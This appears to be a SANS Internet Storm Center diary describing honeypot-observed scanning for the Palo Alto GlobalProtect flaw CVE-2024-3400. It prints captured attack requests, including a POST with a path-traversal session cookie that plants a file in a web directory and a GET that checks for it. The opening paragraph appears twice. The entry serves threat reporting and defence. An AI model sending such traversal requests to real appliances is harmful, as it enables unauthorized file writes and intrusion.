We are all aware of the abysmal state of security appliances, no matter their price tag. Ever so often, we see an increase in attacks against some of these vulnerabilities, trying to mop up systems missed in earlier exploit waves. Currently, on source in particular, %%ip:141.98.82.26%% is looking to exploit systems vulnerable to CVE-2024-3400. The exploit is rather straightforward. Palo Alto never considered it necessary to validate the session id. Instead, they use the session ID “as is” to create a session file. The exploit is well explained by watchTowr [1].
We are all aware of the abysmal state of security appliances, no matter their price tag. Ever so often, we see an increase in attacks against some of these vulnerabilities, trying to mop up systems missed in earlier exploit waves. Currently, on source in particular, %%ip:141.98.82.26%% is looking to exploit systems vulnerable to CVE-2024-3400. The exploit is rather straightforward. Palo Alto never considered it necessary to validate the session id. Instead, they use the session ID “as is” to create a session file. The exploit is well explained by watchTowr [1].
First, we see a request to upload a file:
POST /ssl-vpn/hipreport.esp Host: [honeypot ip]:8080 User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Connection: close Content-Length: 174 Content-Type: application/x-www-form-urlencoded Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/33EGKkp7zRbFyf06zCV4mzq1vDK.txt; Accept-Encoding: gzip user=global&portal=global&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=global&computer=global&client-ip=global&client-ipv6=global&md5-sum=global&gwHipReportCheck=global
Next, a request to retrieve the uploaded file:
GET /global-protect/portal/images/33KFpJLBHsMmkNuxs7pqpGOIIgF.txt host: [honeypot ip] user-agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 connection: close accept-encoding: gzip
This will return a “403” error if the file exists, and a “404” error if the upload failed. It will not execute code. The content of the file is a standard Global Protect session file, and will not execute. A follow-up attack would upload the file to a location that leads to code execution.
The same source is also hitting the URL “/Synchronization” on our honeypots. Google AI associates this with a Global Protect vulnerability discovered last week, but this appears to be a hallucination.
[1] https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/
—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Leave A Reply